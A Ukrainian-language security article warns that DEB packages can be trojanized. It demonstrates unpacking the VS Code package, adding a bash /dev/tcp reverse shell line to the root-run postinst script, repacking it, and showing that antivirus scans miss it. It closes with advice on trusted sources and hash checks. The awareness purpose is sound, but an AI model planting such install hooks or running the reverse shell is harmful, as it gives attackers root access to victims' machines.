Основні висновки
- Пакети DEB можуть стати інструментом для впровадження шкідливого коду у вашу систему, особливо якщо їх встановлювати з правами адміністратора (root). Це створює вразливість, яку зловмисники можуть використовувати для компрометації вашої системи.
- Виявлення інфікованих DEB-пакетів є складним завданням. Традиційні антивірусні програми або хмарні сервіси, такі як VirusTotal, можуть їх не розпізнати, що робить ці загрози прихованими.
- Для забезпечення безпеки рекомендується завантажувати пакети DEB тільки з надійних джерел, таких як офіційні веб-сайти розробників або авторитетні ресурси спільноти. Крім того, варто розглянути використання спеціалізованих інструментів безпеки для захисту вашої системи Linux від потенційних атак через мережу.
Файли DEB є контейнерами програмного забезпечення, які широко використовуються в дистрибутивах Linux, побудованих на базі Debian. Це стандартний формат для розповсюдження програм.
Встановлення пакетів DEB зазвичай вимагає використання менеджера пакетів, наприклад, dpkg, і прав адміністратора. Зловмисники можуть скористатися цією особливістю, впроваджуючи шкідливий код у ці пакети. Під час встановлення, разом з потрібним програмним забезпеченням, виконується і шкідливий код, що ставить під загрозу безпеку вашої системи.
Давайте розглянемо, як саме відбувається впровадження шкідливого коду в пакети DEB і як ви можете захистити себе від цього.
Як відбувається модифікація пакетів DEB?
Щоб зрозуміти, як в пакети DEB вбудовують шкідливий код, важливо знати, що вони містять. Для прикладу візьмемо пакет Microsoft Visual Studio Code DEB, завантажений з офіційного веб-сайту Microsoft. Це той самий файл, який ви б завантажили для встановлення VS Code на Linux.
Посилання для завантаження: Visual Studio Code
Після завантаження пакета необхідно його розпакувати. Для цього можна скористатися командою dpkg-deb з опцією -R, вказавши шлях для збереження розпакованих файлів:
dpkg-deb -R <назва_пакета> <шлях>
Ця команда витягне вміст пакета VS Code.
У розпакованій папці ви знайдете кілька каталогів, але нас цікавить лише каталог DEBIAN. В ньому містяться сценарії, які виконуються під час встановлення пакета з правами root. Зловмисники, як правило, вносять зміни саме в ці сценарії.
Для демонстрації я модифікую сценарій postinst, додавши простий однорядковий код для створення зворотного TCP Bash-з’єднання. Як випливає з назви, цей скрипт виконується після завершення встановлення пакета.
Скрипт postinst містить команди для завершення налаштувань, такі як створення символічних посилань, обробка залежностей і таке інше. В інтернеті можна знайти безліч варіантів реверсних оболонок, більшість з яких працюють за схожим принципом. Ось приклад однорядкової команди для реверсної оболонки:
bash -i >& /dev/tcp/127.0.0.1/42069 0>&1
Розберемо цю команду:
bash
: команда виклику оболонки Bash.-i
: опція, що вказує Bash працювати в інтерактивному режимі, дозволяючи обмін даними в реальному часі.>& /dev/tcp/ip/port
: перенаправляє стандартний вивід та помилки на мережевий сокет, встановлюючи TCP-з’єднання з вказаноюі . 0>&1
: перенаправляє стандартний ввід та вивід в одне і те ж місце, тобто на мережевий сокет.
Для тих, хто не знайомий з терміном, реверсна оболонка – це тип коду, який, при виконанні на цільовій машині, встановлює зворотне з’єднання з машиною зловмисника. Це ефективний спосіб обійти брандмауер, оскільки трафік генерується з внутрішньої мережі.
Ось як виглядає модифікований сценарій:
Як бачите, все залишилося без змін, за винятком додавання одного рядка – нашої реверсної оболонки Bash. Тепер потрібно знову зібрати файли у формат «.deb». Для цього скористайтеся командою dpkg з опцією –build або командою dpkg-deb з опцією -b, вказавши шлях до розпакованих файлів:
dpkg --build <директорія>
dpkg-deb -b <директорія>
Тепер модифікований пакет DEB готовий до поширення через шкідливі сайти. Уявімо сценарій, коли жертва завантажує цей пакет на свою систему та встановлює його як звичайний пакет.
Верхній термінал демонструє дії жертви, а нижній – дії зловмисника. Жертва встановлює пакет за допомогою команди sudo dpkg -i, а зловмисник очікує вхідні з’єднання, використовуючи команду netcat у Linux.
Після завершення встановлення зловмисник отримує доступ до оболонки і тепер має root-доступ до системи жертви. Тепер ви розумієте, як відбувається модифікація пакетів DEB. Давайте розглянемо, як ви можете себе захистити.
Як виявити шкідливий DEB-пакет?
Тепер, коли ви знаєте про потенційну небезпеку інфікованих DEB-пакетів, напевно, вам цікаво, як їх можна виявити. Один з підходів – використовувати антивірусне програмне забезпечення для Linux, наприклад, ClamAV. На жаль, сканування ClamAV модифікованого пакета не виявило шкідливого вмісту. Ось результати сканування:
Отже, якщо ви не використовуєте преміум антивірусне рішення (що також не гарантує повний захист), виявлення шкідливих DEB-пакетів може бути досить складним завданням. Спробуємо інший підхід – скористаємося хмарним сервісом, таким як VirusTotal:
Як бачите, VirusTotal також не виявив нічого підозрілого. Отже, єдиний надійний спосіб захистити себе від таких загроз – це дотримуватися елементарних правил безпеки: не завантажувати файли з ненадійних джерел, завжди перевіряти хеш файлів і взагалі уникати встановлення програмного забезпечення невідомого походження.
Інтернет переповнений різними загрозами. Єдиний спосіб безпечно переглядати веб-сторінки і захистити свої дані – бути обережним і відвідувати лише перевірені ресурси. Крім того, для Linux вам варто розглянути можливість використання програм у форматі AppImage, оскільки вони є самодостатніми і можуть бути ізольовані від вашої системи.
Не завантажуйте пакети DEB з випадкових сайтів!
Самі по собі пакети DEB не є небезпечними, але зловмисники можуть легко використати їх для поширення шкідливого програмного забезпечення. Як було показано вище, пакет DEB можна легко розпакувати, модифікувати і знову запакувати, додавши до нього шкідливий код. Це робить їх зручним інструментом для поширення шкідливого ПЗ.
Навіть прості бекдори в пакетах DEB залишаються непомітними для багатьох антивірусних програм. Тому найкращий захист – це обережність, здоровий глузд під час перегляду веб-сторінок і завантаження програмного забезпечення тільки з офіційних сайтів або надійних ресурсів спільноти.
Знаючи про ризики безпеки, пов’язані з встановленням DEB-пакетів з невідомих джерел, ви маєте бути обережними при встановленні нового програмного забезпечення. Однак, просто контролювати, що ви встановлюєте, недостатньо. Ваша система Linux також може стати об’єктом мережевих атак.
Для гарантування безпеки в разі мережевої атаки, вам слід розглянути встановлення засобів безпеки мережі.